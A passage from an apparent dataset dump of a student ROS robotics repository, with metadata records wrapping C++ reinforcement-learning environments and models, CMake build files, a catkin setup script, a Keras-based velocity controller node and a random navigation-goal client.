== 1)\n \t\tcontinue;\n \tnsv[i][4] = true;\n \tnsv[i][5] = true;\n }\n\n ewv[5][0] = true;\n ewv[5][1] = true;\n\n // put the horizontal wall for the right room\n for (int i = 5; i < width; i++){\n \t// skip doorway at 8\n \tif (i == 8)\n \t\tcontinue;\n \tnsv[i][3] = true;\n \tnsv[i][4] = true;\n } \t\n \n ewv[4][7] = true;\n ewv[4][8] = true;\n\n return new Gridworld(height, width, nsv, ewv);\n}\n\nFourRooms::room_action_t FourRooms::add_noise(room_action_t action) {\n switch(action) {\n case NORTH:\n case SOUTH:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? EAST : WEST);\n case EAST:\n case WEST:\n return rng.bernoulli(0.8) ? action : (rng.bernoulli(0.5) ? NORTH : SOUTH);\n default:\n return action;\n }\n}\n\n\nvoid FourRooms::randomize_goal() {\n const unsigned n = grid->height() * grid->width();\n unsigned index = rng.uniformDiscrete(1,n) - 1;\n goal = coord_t(index / grid->width(), index % grid->width());\n}\n\n\n/** For special use to test true transitions */\nvoid FourRooms::setSensation(std::vector<float> newS){\n if (s.size() != newS.size()){\n cerr << \"Error in sensation sizes\" << endl;\n }\n\n for (unsigned i = 0; i < newS.size(); i++){\n s[i] = (int)newS[i];\n }\n}\n\n\nvoid FourRooms::getMinMaxFeatures(std::vector<float> *minFeat,\n std::vector<float> *maxFeat){\n \n minFeat->resize(s.size(), 0.0);\n maxFeat->resize(s.size(), 10.0);\n \n if (s.size() > 2) {\n for (unsigned i = 2; i < s.size(); i++){\n (*minFeat)[i] = -10.0;\n }\n }\n\n}\n\nvoid FourRooms::getMinMaxReward(float *minR,\n float *maxR){\n \n if (extraReward){\n *minR = -2.0;\n *maxR = 0.0;\n }\n else if (negReward){\n *minR = -1.0;\n *maxR = 0.0; \n }else{\n *minR = 0.0;\n *maxR = 1.0;\n }\n\n}\n" }, { "alpha_fraction": 0.6913043260574341, "alphanum_fraction": 0.6913043260574341, "avg_line_length": 23.80392074584961, "blob_id": "22d9dcfca76df4b857d7553b0202f5b335a3e5d8", "content_id": "1a9e3732b99b18d9dfcba465256dd6149be12956", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2530, "license_type": "no_license", "max_line_length": 168, "num_lines": 102, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Models/RMaxModel.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file RMaxModel.hh\n Defines the RMaxModel class.\n \\author Todd Hester\n*/\n\n#ifndef _RMAXMODEL_HH_\n#define _RMAXMODEL_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <vector>\n#include <map>\n#include <set>\n\n\n/** MDPModel used for RMax. Tabular model with Maximum Likelihood model for each state-action. */\nclass RMaxModel: public MDPModel {\n\npublic:\n\n /** Default constructor\n \\param m # of visits before a state-actions becomes known.\n \\param nact # of actions in the domain\n \\param rng Random Number Generator \n */\n RMaxModel(int m, int nact, Random rng);\n \n /** Copy constructor */\n RMaxModel(const RMaxModel&);\n\n virtual ~RMaxModel();\n virtual RMaxModel* getCopy();\n\n virtual bool updateWithExperiences(std::vector<experience> &instances);\n virtual bool updateWithExperience(experience &e);\n virtual float getStateActionInfo(const std::vector<float> &state, int act, StateActionInfo* retval);\n\n\n // structs to be defined\n struct state_info;\n\n\n /** State info struct. Maintaints visit counts, outcome counts,\n reward sums, terminal transitions, and whether the state-action is \n considered 'known' (>= m visits) \n */\n struct state_info {\n int id;\n\n // model data (visit counts, outcome counts, reward sums, known)\n std::vector<int> visits;\n\n std::map< std::vector<float> , std::vector<int> > outCounts;\n std::vector<float> Rsum;\n std::vector<int> terminations;\n\n std::vector<bool> known;\n\n };\n\nprotected:\n typedef const std::vector<float> *state_t;\n\n // various helper functions that we need\n\n /** Initialize a state_info struct */\n void initStateInfo(state_info* info);\n \n /** Add the given state to the state set. initializes state info for new states not yet in set. The pointer to the state in the set is used for map of state_info's */\n state_t canonicalize(const std::vector<float> &s);\n\n /** Make sure the transition count vector is sized properly before indexing into it. */\n void checkTransitionCountSize(std::vector<int> *transCounts);\n\n /** Initialize a new state */\n void initNewState(state_t s);\n\n\n\nprivate:\n \n /** Set of all distinct sensations seen. Pointers to elements of\n this set serve as the internal representation of the environment\n state. */\n std::set<std::vector<float> > statespace;\n\n /** Hashmap mapping state vectors to their state_info structs. */\n std::map<state_t, state_info> statedata;\n\n int nstates;\n\n int M;\n int nact;\n Random rng;\n\n bool RMAX_DEBUG;\n \n};\n\n\n\n#endif\n" }, { "alpha_fraction": 0.7666666507720947, "alphanum_fraction": 0.7733333110809326, "avg_line_length": 36.5625, "blob_id": "5567893295f62d937d92095678d347ae8798a147", "content_id": "2f814463d190520e414be125ca71e6a61f77ecca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 600, "license_type": "no_license", "max_line_length": 45, "num_lines": 16, "path": "/build/robot_sensors/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"robot_sensors\")\nset(robot_sensors_VERSION \"0.0.0\")\nset(robot_sensors_MAINTAINER \"abc <[email protected]>\")\nset(robot_sensors_PACKAGE_FORMAT \"1\")\nset(robot_sensors_BUILD_DEPENDS )\nset(robot_sensors_BUILD_EXPORT_DEPENDS )\nset(robot_sensors_BUILDTOOL_DEPENDS \"catkin\")\nset(robot_sensors_BUILDTOOL_EXPORT_DEPENDS )\nset(robot_sensors_EXEC_DEPENDS )\nset(robot_sensors_RUN_DEPENDS )\nset(robot_sensors_TEST_DEPENDS )\nset(robot_sensors_DOC_DEPENDS )\nset(robot_sensors_URL_WEBSITE \"\")\nset(robot_sensors_URL_BUGTRACKER \"\")\nset(robot_sensors_URL_REPOSITORY \"\")\nset(robot_sensors_DEPRECATED \"\")" }, { "alpha_fraction": 0.7524752616882324, "alphanum_fraction": 0.7623762488365173, "avg_line_length": 15.833333015441895, "blob_id": "191d96f5b4416e0571a154349d706a544d021b0f", "content_id": "a1507ebaa6dce73425530098c0014763adfd194d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 303, "license_type": "no_license", "max_line_length": 55, "num_lines": 18, "path": "/src/mantis_model/CMakeLists.txt", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "cmake_minimum_required(VERSION 2.8.3)\nproject(mantis_model)\n\nfind_package(catkin REQUIRED COMPONENTS\n roscpp\n tf\n)\n\ncatkin_package()\n\ninclude_directories(\n ${catkin_INCLUDE_DIRS}\n)\n\nadd_executable(joint_state_pub src/joint_state_pub.cpp)\ntarget_link_libraries(joint_state_pub\n ${catkin_LIBRARIES}\n)\n" }, { "alpha_fraction": 0.5678496956825256, "alphanum_fraction": 0.581071674823761, "avg_line_length": 28.030303955078125, "blob_id": "86a85e34ed2b215469db7e7a9619667bdf1cd555", "content_id": "f618c5253ee28912ae7e8056a92456ae898f5c4f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2874, "license_type": "no_license", "max_line_length": 78, "num_lines": 99, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/src/Env/gridworld.cc", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <rl_env/gridworld.hh>\n#include <cmath>\n\nstd::ostream &operator<<(std::ostream &out, const Gridworld &g) {\n for (unsigned i = 0; i < g.ns.size(); ++i)\n out << \" -\";\n out << \" \\n\";\n\n for (unsigned h = g.ew.size() - 1; h > 0; --h) {\n out << \"| \";\n for (unsigned w = 0; w < g.ew[h].size(); ++w)\n out << (g.ew[h][w] ? \"| \" : \" \");\n out << \"|\\n\";\n\n for (unsigned w = 0; w < g.ns.size(); ++w)\n out << (g.ns[w][h-1] ? \" -\" : \" \");\n out << \" \\n\";\n }\n\n out << \"| \";\n for (unsigned w = 0; w < g.ew[0].size(); ++w)\n out << (g.ew[0][w] ? \"| \" : \" \");\n out << \"|\\n\";\n\n for (unsigned i = 0; i < g.ns.size(); ++i)\n out << \" -\";\n out << \" \\n\";\n\n return out;\n}\n\nGridworld::Gridworld(unsigned height, unsigned width, \n\t\t const std::vector<std::vector<bool> > &northsouth,\n\t\t const std::vector<std::vector<bool> > &eastwest):\n h(height), w(width), ns(northsouth), ew(eastwest)\n{}\n\nGridworld::Gridworld(unsigned height, unsigned width, Random &rng):\n h(height), w(width),\n ns(w, std::vector<bool>(h - 1, false)),\n ew(h, std::vector<bool>(w - 1, false))\n{\n const unsigned n = static_cast<unsigned>(sqrt(static_cast<float>(w*h)));\n for (unsigned i = 0; i < n; ++i)\n add_obstacle(rng);\n}\n\nbool Gridworld::wall(unsigned nsCoord, unsigned ewCoord, unsigned dir) const {\n const bool isNS = 0 == dir/2;\n const bool isIncr = 0 == dir%2;\n const std::vector<std::vector<bool> > &walls = isNS ? ns : ew;\n unsigned major = isNS ? ewCoord : nsCoord;\n unsigned minor = isNS ? nsCoord : ewCoord;\n if (!isIncr) {\n if (minor == 0)\n return true;\n --minor;\n }\n if (minor >= walls[major].size())\n return true;\n return walls[major][minor];\n}\n\nvoid Gridworld::add_obstacle(Random &rng) {\n bool direction = rng.bernoulli(0.5);\n std::vector<std::vector<bool> > &parallel = direction ? ns : ew;\n std::vector<std::vector<bool> > &perpendicular = direction ? ew : ns;\n\n unsigned seedi = rng.uniformDiscrete(1, parallel.size()) - 1;\n unsigned seedj = rng.uniformDiscrete(1, parallel[seedi].size()) - 1;\n\n unsigned first = seedi + 1;\n while (isClear(first - 1, seedj, parallel, perpendicular))\n --first;\n unsigned last = seedi;\n while (isClear(last + 1, seedj, parallel, perpendicular))\n ++last;\n\n chooseSegment(first, last, seedj, parallel, rng);\n}\n\nvoid Gridworld::chooseSegment(unsigned first,\n\t\t\t unsigned last,\n\t\t\t unsigned j,\n\t\t\t std::vector<std::vector<bool> > &parallel,\n\t\t\t Random &rng)\n{\n if (last <= first)\n return;\n unsigned maxLength = last - first;\n if (maxLength >= parallel.size())\n maxLength = parallel.size() - 1;\n unsigned length = maxLength > 1 ? rng.uniformDiscrete(1,maxLength) : 1;\n int dir = 1 - 2*rng.uniformDiscrete(0,1);\n unsigned start = (dir > 0) ? first : (last - 1);\n\n for (unsigned i = 0; i < length; ++i)\n parallel[start + i*dir][j] = true;\n}\n" }, { "alpha_fraction": 0.5573731064796448, "alphanum_fraction": 0.5785422325134277, "avg_line_length": 33.599998474121094, "blob_id": "78a8f915381ef3907b755ee29d061df3915b5c6d", "content_id": "9e08ece872e495d00477d4435c94643477a62e71", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4157, "license_type": "no_license", "max_line_length": 110, "num_lines": 120, "path": "/src/run_model.py", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "\n#!/usr/bin/env python\nimport rospy\nimport tensorflow as tf\nfrom nav_msgs.msg import Odometry\nfrom move_base_msgs.msg import *\nfrom geometry_msgs.msg import Twist\nimport math\nfrom tensorflow import keras\nimport numpy as np\n\ngoal = np.empty([1,1,2])\nML_in = np.empty([1,1,5])\npredictions = np.empty([2])\n\nvel_msg = Twist()\n\ndef create_model():\n model = keras.Sequential([\n keras.layers.Flatten(input_shape=(1, 5)),\n keras.layers.Dense(64, activation=tf.nn.tanh),\n keras.layers.Dense(32, activation=tf.nn.tanh),\n keras.layers.Dense(16, activation=tf.nn.tanh),\n keras.layers.Dense(2, activation=tf.nn.tanh)\n ])\n\n\n \n model.compile(optimizer='adam', loss=tf.keras.losses.sparse_categorical_crossentropy, metrics=['accuracy'])\n \n return model\n\n\ndef goal_got(msg):\n rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", msg.goal.target_pose.pose)\n goal[0][0][0] = msg.goal.target_pose.pose.position.x\n goal[0][0][1] = msg.goal.target_pose.pose.position.y\n #rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", goal[0][0][0])\n\n\ndef odom_got(msg):\n #rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", msg.pose.pose)\n #should do this as an NP array.\n x_loc = msg.pose.pose.position.x\n y_loc = msg.pose.pose.position.y\n #ML_in[0][0][0]=math.sqrt((goal[0][0][0]-x_loc)**2+(goal[0][0][1]-y_loc)**2)\n #ML_in[0][0][1] = math.atan2((goal[0][0][1]-y_loc),(goal[0][0][0]-x_loc))\n ML_in[0][0][2]=msg.pose.pose.orientation.z\n qz = msg.pose.pose.orientation.z\n qw = msg.pose.pose.orientation.w\n qx = msg.pose.pose.orientation.x\n qy = msg.pose.pose.orientation.y\n\n #rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", ML_in)\n siny_cosp = +2.0 * (qw * qz + qx * qy);\n cosy_cosp = +1.0 - 2.0 * (qy * qy + qz * qz); \n yaw = math.atan2(siny_cosp, cosy_cosp);\n rospy.loginfo(\"Distance %s\", yaw)\n ML_in[0][0][0]=math.sqrt((5-x_loc)**2+(2-y_loc)**2)\n ML_in[0][0][1] = math.atan2((2-y_loc),(5-x_loc))\n #rospy.loginfo(\"Distance %s\", (5-x_loc)**2+(2-y_loc)**2)\n #rospy.loginfo(rospy.get_caller_id() + \"I heard %s\", ML_in)\n\n\n\n#####################################################\n#####################################################\n############################################\ndef prep_ml():\n predictions = model.predict(ML_in)\n rospy.loginfo(\"I heard %s\", predictions)\n \n\n###########need to do basic math then call model with it, then send cmd##########################\n################ ########################\n########################################\n########################################\ndef listener():\n\n # In ROS, nodes are uniquely named. If two nodes with the same\n # name are launched, the previous one is kicked off. The\n # anonymous=True flag means that rospy will choose a unique\n # name for our 'listener' node so that multiple listeners can\n # run simultaneously.\n\n # subscribe to odom\n #rospy.init_node('odometry', anonymous=True) #make node \n rospy.Subscriber('odom',Odometry,odom_got)\n\n # subscribe to goal\n #rospy.init_node('goal', anonymous=True) #make node \n rospy.Subscriber('move_base/goal',MoveBaseActionGoal,goal_got)\n # spin() simply keeps python from exiting until this node is stopped\n #rospy.spin()\n\ndef talker():\n pub = rospy.Publisher('cmd_vel', Twist, queue_size=10)\n #vel_msg = Twist()\n #prep_ml()\n \n ML_in[0][0][3]=vel_msg.linear.x\n ML_in[0][0][4]= vel_msg.angular.z\n predictions = model.predict(ML_in)\n vel_msg.linear.x = predictions[0][0]\n vel_msg.angular.z =predictions[0][1]\n #rospy.loginfo(\"Sent %s\", predictions)\n #rospy.loginfo(\"Distance %s\", ML_in)\n #hello_str = \"hello world %s\" % rospy.get_time()\n #rospy.loginfo(rospy.get_caller_id() + \"I heard %s\")\n #rospy.loginfo(hello_str)\n pub.publish(vel_msg)\n\nif __name__ == '__main__':\n rospy.init_node('talker', anonymous=True) \n rate = rospy.Rate(1) # 10hz\n model = create_model()\n model.load_weights('./checkpoints/my_checkpoint') \n while not rospy.is_shutdown(): \n\ttalker() \n \tlistener()\n rate.sleep()\n\n\n\n\n" }, { "alpha_fraction": 0.767123281955719, "alphanum_fraction": 0.767123281955719, "avg_line_length": 35.5, "blob_id": "6c9c363aa9be41f49f462099010d1aabba5a61f2", "content_id": "dbcae5e6f6175ac357447dfbd6c76d088796dca0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 365, "license_type": "no_license", "max_line_length": 72, "num_lines": 10, "path": "/build/gps_sim_project/CMakeFiles/gps_project.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/gps_project.dir/src/gps_project.cpp.o\"\n \"/home/justin/ros_test/devel/lib/gps_sim_project/gps_project.pdb\"\n \"/home/justin/ros_test/devel/lib/gps_sim_project/gps_project\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/gps_project.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.704402506351471, "alphanum_fraction": 0.704402506351471, "avg_line_length": 22.459016799926758, "blob_id": "631e12d31da4d150bfff896b08b1b922e912bdc8", "content_id": "b2db5ea353d52a3460cacfe9c8d6fc2f54948f15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1431, "license_type": "no_license", "max_line_length": 91, "num_lines": 61, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/stocks.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _STOCKS_H_\n#define _STOCKS_H_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include <set>\n\n\nclass Stocks: public Environment {\npublic:\n /** Creates a Stocks domain using the specified map.\n \\param rand Random number generator to use.\n \\param stochastic Whether to use nondeterministism. \n \\param nsectors number of stock sectors\n \\param nstocks number of stocks per sector */\n Stocks(Random &rand, bool stochastic, int nsectors, int nstocks);\n\n /** Creates a deterministic Stocks domain.\n \\param rand Random number generator used.\n \\param stochastic Whether to use nondeterministism. */\n Stocks(Random &rand, bool stochastic);\n\n virtual ~Stocks();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual bool isEpisodic() { return false; };\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n void calcStockRising();\n float reward();\n void setSensation(std::vector<float> s);\n void initStocks();\n \nprotected:\n\n\n\nprivate:\n\n const int nsectors;\n const int nstocks;\n const bool noisy;\n Random &rng;\n\n std::vector<float> s;\n\n // lets just have an index into the array\n int** rising;\n int* owners;\n\n bool STOCK_DEBUG;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7703348994255066, "alphanum_fraction": 0.7751196026802063, "avg_line_length": 51.3125, "blob_id": "ac295681c01b340ed18c723505778797843f68b4", "content_id": "d7e9bed00d53e104688836f1f6ea2df27e735140", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 836, "license_type": "no_license", "max_line_length": 80, "num_lines": 16, "path": "/build/state_space_example/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"state_space_example\")\nset(state_space_example_VERSION \"0.0.0\")\nset(state_space_example_MAINTAINER \"student <[email protected]>\")\nset(state_space_example_PACKAGE_FORMAT \"1\")\nset(state_space_example_BUILD_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_BUILD_EXPORT_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_BUILDTOOL_DEPENDS \"catkin\")\nset(state_space_example_BUILDTOOL_EXPORT_DEPENDS )\nset(state_space_example_EXEC_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_RUN_DEPENDS \"roscpp\" \"tf\" \"visualization_msgs\")\nset(state_space_example_TEST_DEPENDS )\nset(state_space_example_DOC_DEPENDS )\nset(state_space_example_URL_WEBSITE \"\")\nset(state_space_example_URL_BUGTRACKER \"\")\nset(state_space_example_URL_REPOSITORY \"\")\nset(state_space_example_DEPRECATED \"\")" }, { "alpha_fraction": 0.7922077775001526, "alphanum_fraction": 0.7974026203155518, "avg_line_length": 47.1875, "blob_id": "4f6a57efb914d57c18dc2cb72ed412816a351bb0", "content_id": "96a77923f05c0e9fc4efe20b53dee98143b045d1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 770, "license_type": "no_license", "max_line_length": 61, "num_lines": 16, "path": "/build/roundbot_description/catkin_generated/package.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "set(_CATKIN_CURRENT_PACKAGE \"roundbot_description\")\nset(roundbot_description_VERSION \"0.0.0\")\nset(roundbot_description_MAINTAINER \"micho <[email protected]>\")\nset(roundbot_description_PACKAGE_FORMAT \"1\")\nset(roundbot_description_BUILD_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_BUILD_EXPORT_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_BUILDTOOL_DEPENDS \"catkin\")\nset(roundbot_description_BUILDTOOL_EXPORT_DEPENDS )\nset(roundbot_description_EXEC_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_RUN_DEPENDS \"urdf\" \"xacro\")\nset(roundbot_description_TEST_DEPENDS )\nset(roundbot_description_DOC_DEPENDS )\nset(roundbot_description_URL_WEBSITE \"\")\nset(roundbot_description_URL_BUGTRACKER \"\")\nset(roundbot_description_URL_REPOSITORY \"\")\nset(roundbot_description_DEPRECATED \"\")" }, { "alpha_fraction": 0.7934451103210449, "alphanum_fraction": 0.8018292784690857, "avg_line_length": 76.23529052734375, "blob_id": "51e8b2ff9d327cc49c5e73fe0e6b0fae4d6f1694", "content_id": "4cdf661c61677a4fe85ca9730b2f3328c327ef2e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1312, "license_type": "no_license", "max_line_length": 186, "num_lines": 17, "path": "/src/robot_sensors/catkin_generated/setup_cached.sh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#!/usr/bin/env sh\n# generated from catkin/python/catkin/environment_cache.py\n\n# based on a snapshot of the environment before and after calling the setup script\n# it emulates the modifications of the setup script without recurring computations\n\n# new environment variables\n\n# modified environment variables\nexport CMAKE_PREFIX_PATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel:$CMAKE_PREFIX_PATH\"\nexport CPATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/include:$CPATH\"\nexport LD_LIBRARY_PATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/lib:/home/jman/ros/src/ugv_course/robot_sensors/devel/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH\"\nexport PATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/bin:$PATH\"\nexport PKG_CONFIG_PATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/lib/pkgconfig:/home/jman/ros/src/ugv_course/robot_sensors/devel/lib/x86_64-linux-gnu/pkgconfig:$PKG_CONFIG_PATH\"\nexport PYTHONPATH=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/lib/python2.7/dist-packages:$PYTHONPATH\"\nexport ROSLISP_PACKAGE_DIRECTORIES=\"/home/jman/ros/src/ugv_course/robot_sensors/devel/share/common-lisp:$ROSLISP_PACKAGE_DIRECTORIES\"\nexport ROS_PACKAGE_PATH=\"/home/dlebowski/workspace/extraRepo/ros2/src/ugv_course/robot_sensors:/home/jman/ros/src/ugv_course/robot_sensors:$ROS_PACKAGE_PATH\"" }, { "alpha_fraction": 0.7743589878082275, "alphanum_fraction": 0.7846153974533081, "avg_line_length": 38, "blob_id": "7cb624aa6f283a40ce296b60ed5ce1904ff1fa58", "content_id": "1d8301ff72c502c89c437e3b1f29664af2864c52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 390, "license_type": "no_license", "max_line_length": 92, "num_lines": 10, "path": "/build/homework2/CMakeFiles/homework2_generate_messages_eus.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/homework2_generate_messages_eus\"\n \"/home/justin/ros_test/devel/share/roseus/ros/homework2/srv/string_cat.l\"\n \"/home/justin/ros_test/devel/share/roseus/ros/homework2/manifest.l\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/homework2_generate_messages_eus.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.6609252095222473, "alphanum_fraction": 0.6751968264579773, "avg_line_length": 22.905881881713867, "blob_id": "723518681a77154ecdc7edc36b224c365132ff7e", "content_id": "3e3b50f5157eefc16c2641d5780f616c507f4e8b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2032, "license_type": "no_license", "max_line_length": 88, "num_lines": 85, "path": "/src/simple_navigation_goals/src/simple_navigation_goals.cpp", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#include <ros/ros.h>\n#include <move_base_msgs/MoveBaseAction.h>\n#include <actionlib/client/simple_action_client.h>\n#include <stdlib.h>\n#include <std_msgs/String.h>\n\ntypedef actionlib::SimpleActionClient<move_base_msgs::MoveBaseAction> MoveBaseClient;\nint yran;\nint xran;\nmove_base_msgs::MoveBaseGoal goal;\nint count = 4;\nvoid randomNum ()\n{\nsrand (time(NULL));\nxran = rand() % 11;\nyran = rand() % 11;\n\nROS_INFO(\"xran %d\", xran);\n\nxran = xran - 5;\nyran = yran - 4;\nROS_INFO(\"xran %d\", xran);\n goal.target_pose.pose.position.x = xran;\ngoal.target_pose.pose.position.y = yran;\n goal.target_pose.pose.orientation.w = 1.0;\n\n}\n\nint main(int argc, char** argv){\n\nsrand (time(NULL));\n ros::init(argc, argv, \"simple_navigation_goals\");\n\n //tell the action client that we want to spin a thread by default\n MoveBaseClient ac(\"move_base\", true);\nstd_msgs::StringConstPtr msg = ros::topic::waitForMessage<std_msgs::String>(\"/chatter\");\n //wait for the action server to come up\n \n\n//while(!ac.waitForServer(ros::Duration(5.0))){\n //ROS_INFO(\"Waiting for the move_base action server to come up\");\n //}\n\n \n\n //we'll send a goal to the robot to move 1 meter forward\n goal.target_pose.header.frame_id = \"odom\";\n goal.target_pose.header.stamp = ros::Time::now();\n\n//create random between -4.3 ->6 for y, and -5->5 for x\nxran = rand() % 11;\nyran = rand() % 11;\n\nROS_INFO(\"xran %d\", xran);\n\nxran = xran - 5;\nyran = yran - 4;\nROS_INFO(\"xran %d\", xran);\n goal.target_pose.pose.position.x = xran;\ngoal.target_pose.pose.position.y = yran;\n goal.target_pose.pose.orientation.w = 1.0;\n\n ROS_INFO(\"Sending goal\");\n ac.sendGoal(goal);\n ROS_INFO(\"goal sent!\");\nwhile (count >= 0)\n{\n ac.waitForResult();\n\n if(ac.getState() == actionlib::SimpleClientGoalState::SUCCEEDED)\n {\nROS_INFO(\"Hooray, the base moved 1 meter forward\");\n\trandomNum();\n ROS_INFO(\"Sending goal\");\n ac.sendGoal(goal);\n}\n else\n ROS_INFO(\"The base failed to move forward 1 meter for some reason\");\n\ncount --;\n}\n\nROS_INFO(\"/n Finished Sending Goals\");\n return 0;\n}\n" }, { "alpha_fraction": 0.6292749643325806, "alphanum_fraction": 0.6292749643325806, "avg_line_length": 23.366666793823242, "blob_id": "94c1080be6c40b76e265747c4b275bd646827110", "content_id": "9f447373c92094f2854718f30fc1844ca4240b66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1462, "license_type": "no_license", "max_line_length": 78, "num_lines": 60, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/src/Planners/MBS.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _MBS_HH_\n#define _MBS_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include \"ValueIteration.hh\"\n\n#include <set>\n#include <vector>\n#include <map>\n#include <deque>\n\nclass MBS: public Planner {\npublic:\n\n /** Standard constructor\n \\param numactions, numactions in the domain\n \\param gamma discount factor\n \\param maxloops\n \\param max time\n \\param rng random\n */\n MBS(int numactions, float gamma,\n int MAX_LOOPS, float MAX_TIME, int modelType,\n const std::vector<float> &featmax, \n const std::vector<float> &featmin, const std::vector<int> &statesPerDim,\n int delay,\n Random rng = Random());\n\n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n MBS(const MBS &);\n\n virtual ~MBS();\n\n virtual void setModel(MDPModel* model);\n virtual bool updateModelWithExperience(const std::vector<float> &last, \n int act, \n const std::vector<float> &curr, \n float reward, bool term);\n virtual void planOnNewModel();\n virtual int getBestAction(const std::vector<float> &s);\n virtual void savePolicy(const char* filename);\n virtual void setSeeding(bool seed);\n virtual void setFirst();\n\n bool DELAYDEBUG;\n \nprivate:\n\n ValueIteration* vi;\n std::deque<int> actHistory;\n const unsigned k;\n MDPModel* model;\n bool seedMode;\n\n};\n\n\n#endif\n" }, { "alpha_fraction": 0.7525648474693298, "alphanum_fraction": 0.7597714066505432, "avg_line_length": 38.61743927001953, "blob_id": "6b85d3f3ee323feca3d7e122c71adf1c639e72a4", "content_id": "b3be2e12d6123a2900fdc0c5d95b127b24a42f2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 28169, "license_type": "no_license", "max_line_length": 190, "num_lines": 711, "path": "/build/homework3/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = 